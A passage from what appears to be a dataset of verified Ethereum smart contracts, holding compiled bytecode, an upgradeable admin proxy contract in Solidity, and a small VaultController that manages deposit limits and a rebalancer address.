8460018302840111640100000000831117156102a957600080fd5b9091929391929390803590602001906401000000008111156102ca57600080fd5b8201836020820111156102dc57600080fd5b803590602001918460018302840111640100000000831117156102fe57600080fd5b90919293919293908035906020019064010000000081111561031f57600080fd5b82018360208201111561033157600080fd5b8035906020019184602083028401116401000000008311171561035357600080fd5b9091929391929390505050610ac4565b005b34801561037157600080fd5b5061037a611130565b6040518082815260200191505060405180910390f35b34801561039c57600080fd5b506103df600480360360208110156103b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061113a565b005b6103e961134a565b73ffffffffffffffffffffffffffffffffffffffff16600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6104b3611352565b565b6104bd61134a565b73ffffffffffffffffffffffffffffffffffffffff16600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461057f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610605576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061172a6021913960400191505060405180910390fd5b60004790508173ffffffffffffffffffffffffffffffffffffffff167f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5826040518082815260200191505060405180910390a28173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561069e573d6000803e3d6000fd5b505050565b60008060009054906101000a900460ff16905090565b6106c161134a565b73ffffffffffffffffffffffffffffffffffffffff16600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610783576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6002548114156107de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806117a16026913960400191505060405180910390fd5b6000633b9aca0082816107ed57fe5b0614610861576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f466565206d7573742062652061206d756c7469706c65206f662047574549000081525060200191505060405180910390fd5b7f5fc463da23c1b063e66f9e352006a7fbe8db7223c455dc429e881a2dfe2f94f160025482604051808381526020018281526020019250505060405180910390a18060028190555050565b6108b461134a565b73ffffffffffffffffffffffffffffffffffffffff16600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610976576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061177b6026913960400191505060405180910390fd5b6109cf61134a565b73ffffffffffffffffffffffffffffffffffffffff16600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a91576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610a99611459565b565b60008060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000809054906101000a900460ff1615610b46576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b6000633b9aca003481610b5557fe5b0614610bac576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603081526020018061174b6030913960400191505060405180910390fd5b6801bc16d674ec800000341015610c2b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f42617463684465706f7369743a20416d6f756e7420697320746f6f206c6f770081525060200191505060405180910390fd5b600082829050905060008111610c8c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603781526020018061187e6037913960400191505060405180910390fd5b6064811115610ce6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603a81526020018061181e603a913960400191505060405180910390fd5b603081028989905014610d44576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806118586026913960400191505060405180910390fd5b606081028585905014610da2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180611700602a913960400191505060405180910390fd5b60206001028787905014610e01576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806117c76036913960400191505060405180910390fd5b6000610e3382610e256801bc16d674ec80000060025461156190919063ffffffff16565b6115e990919063ffffffff16565b9050803411610e8d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260378152602001806116c96037913960400191505060405180910390fd5b60008090505b828110156111235760608b8b60308402906030600186010292610eb89392919061166f565b8080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505090506060888860608502906060600187010292610f1a9392919061166f565b8080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663228951186801bc16d674ec800000848e8e868d8d8b818110610fb757fe5b905060200201356040518763ffffffff1660e01b815260040180806020018060200180602001858152602001848103845289818151815260200191508051906020019080838360005b8381101561101b578082015181840152602081019050611000565b50505050905090810190601f1680156110485780820380516001836020036101000a031916815260200191505b508481038352888882818152602001925080828437600081840152601f19601f820116905080830192505050848103825286818151815260200191508051906020019080838360005b838110156110ac578082015181840152602081019050611091565b50505050905090810190601f1680156110d95780820380516001836020036101000a031916815260200191505b50985050505050505050506000604051808303818588803b1580156110fd57600080fd5b505af1158015611111573d6000803e3d6000fd5b50505050505050806001019050610e93565b5050505050505050505050565b6000600254905090565b61114261134a565b73ffffffffffffffffffffffffffffffffffffffff16600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611204576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561128a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806116a36026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600060016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b6000809054906101000a900460ff166113d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f5061757361626c653a206e6f742070617573656400000000000000000000000081525060200191505060405180910390fd5b60008060006101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa61141661134a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b6000809054906101000a900460ff16156114db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b60016000806101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25861151e61134a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b6000808284019050838110156115df576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000808314156115fc5760009050611669565b600082840290508284828161160d57fe5b0414611664576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806117fd6021913960400191505060405180910390fd5b809150505b92915050565b6000808585111561167f57600080fd5b8386111561168c57600080fd5b600185028301915084860390509450949250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737342617463684465706f7369743a20416d6f756e74206973206e6f7420616c69676e65642077697468207075626b657973206e756d62657242617463684465706f7369743a205369676e61747572657320636f756e7420646f6e2774206d61746368596f752063616e2774206275726e20746865736520657468206469726563746c7942617463684465706f7369743a204465706f7369742076616c7565206e6f74206d756c7469706c65206f6620475745494f776e61626c653a2072656e6f756e63654f776e6572736869702069732064697361626c6564466565206d75737420626520646966666572656e742066726f6d2063757272656e74206f6e6542617463684465706f7369743a205769746864726177616c2043726564656e7469616c7320636f756e7420646f6e2774206d61746368536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7742617463684465706f7369743a20596f752063616e206465706f736974206d6178203130302076616c696461746f727320617420612074696d6542617463684465706f7369743a205075626b657920636f756e7420646f6e2774206d6174636842617463684465706f7369743a20596f752073686f756c64206465706f736974206174206c65617374206f6e652076616c696461746f72a26469706673582212209d93fa5a2c10de0a0c3d66cdd29101a09822402ecc2d718050609678cbee5b1f64736f6c63430006080033
{"success": true, "error": null, "results": {}}
1,354
0xd409C506742b7f76f164909025Ab29A47e06d30A
/** *Submitted for verification at Etherscan.io on 2021-07-16 */ // SPDX-License-Identifier: MIT pragma solidity 0.6.12; // Part: Address /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // Part: Proxy /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback () payable external { _fallback(); } /** * @dev Receive function. * Implemented entirely in `_fallback`. */ receive () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal virtual view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } // Part: UpgradeabilityProxy /** * @title UpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract UpgradeabilityProxy is Proxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal override view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } // File: AdminUpgradeabilityProxy.sol /** * @title AdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract AdminUpgradeabilityProxy is UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override virtual { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } }
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220a7e001f4944de6de5ff250471b1a48bbaa9ed80cd5c3651b6a70b80596b057de64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
1,355
0xD7F87400a9E36A27E1176a9e3F1C5F3dDD394Df5
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.6; library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable { address public owner; address public pendingOwner; event OwnershipTransferInitiated(address indexed previousOwner, address indexed newOwner); event OwnershipTransferConfirmed(address indexed previousOwner, address indexed newOwner); constructor() { owner = msg.sender; emit OwnershipTransferConfirmed(address(0), owner); } modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } function isOwner() public view returns (bool) { return msg.sender == owner; } function transferOwnership(address _newOwner) external onlyOwner { require(_newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferInitiated(owner, _newOwner); pendingOwner = _newOwner; } function acceptOwnership() external { require(msg.sender == pendingOwner, "Ownable: caller is not pending owner"); emit OwnershipTransferConfirmed(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } } contract VaultController is Ownable { using Address for address; address public rebalancer; bool public depositsEnabled; mapping(address => uint) public depositLimit; event NewDepositLimit(address indexed vault, uint amount); event DepositsEnabled(bool value); event NewRebalancer(address indexed rebalancer); constructor() { depositsEnabled = true; } function setRebalancer(address _rebalancer) external onlyOwner { _requireContract(_rebalancer); rebalancer = _rebalancer; emit NewRebalancer(_rebalancer); } function setDepositsEnabled(bool _value) external onlyOwner { depositsEnabled = _value; emit DepositsEnabled(_value); } function setDepositLimit(address _vault, uint _amount) external onlyOwner { _requireContract(_vault); depositLimit[_vault] = _amount; emit NewDepositLimit(_vault, _amount); } function _requireContract(address _value) internal view { require(_value.isContract(), "VaultController: must be a contract"); } }
